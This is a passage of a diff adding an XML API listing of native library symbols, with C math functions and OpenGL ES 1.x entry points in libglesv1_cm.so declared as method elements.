+      <method abstract="false" deprecated="not deprecated" final="true" name="fesetenv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atan2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmaxl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="powf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ccos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="yn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="casinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cacoshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="casinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="finitef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="powl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="casinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="erf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scalbf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sincos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="carg" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="erfcf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="feraiseexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="erfcl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scalbn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="feclearexcept" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csinf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cabs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csinh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sqrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csinl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="exp2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="jn" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="roundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="crealf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lgammal_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="sqrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cpowf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="hypot" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="significand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="copysign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="roundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="creall" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="tgamma" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cpowl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cabsf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="truncf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="exp2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="coshf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="__fe_dfl_env" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scalblnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cbrtf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="significandf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cabsl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="truncl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="exp2l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="frexpf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="coshl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="asin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cacosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atanh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scalblnl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cacosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cbrtl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="significandl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="erfc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lgammaf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="frexpl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atanl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cacosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="erff" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="floor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rintl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="clog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log10" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log2" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csinhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lgammal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="jnf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="cbrt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="erfl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="scalbln" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="csinhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="expm1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="pow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="creal" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lroundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ccosf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="round" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fmod" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lgammaf_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ccosh" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="expm1l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctanhf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="gammaf_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fdim" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lroundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ccosl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ctanhl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="expf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="nearbyint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="casin" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="atan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="expl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lrint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ynf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="lgamma_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="fegetexceptflag" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="hypotf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="llroundf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="log10f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="rint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="expm1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="floorf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="hypotl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="llroundl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libglesv1_cm.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetFramebuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFinishFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexLevelParameterivQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizePointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizePointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnableClientState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFogf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexiOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvi" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColor4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindFramebufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFogx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearColorx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glOrthoxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexturesQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEndTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColor4x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColorPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramBinarySourceQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnviv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColorMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColorPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnviv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFixedv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glWeightPointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLoadIdentity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCurrentPaletteMatrixOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glNormalPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRotatexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3x" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFogxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBufferData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glOrthof" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetLightxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearColor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexGeniOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidthxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidthx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoveragexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixIndexPointerOESBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStartTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetRenderbufferParameterivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultiTexCoord4xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glOrthox" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixIndexPointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanefIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glScalexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetRenderbuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glShadeModel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmapOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
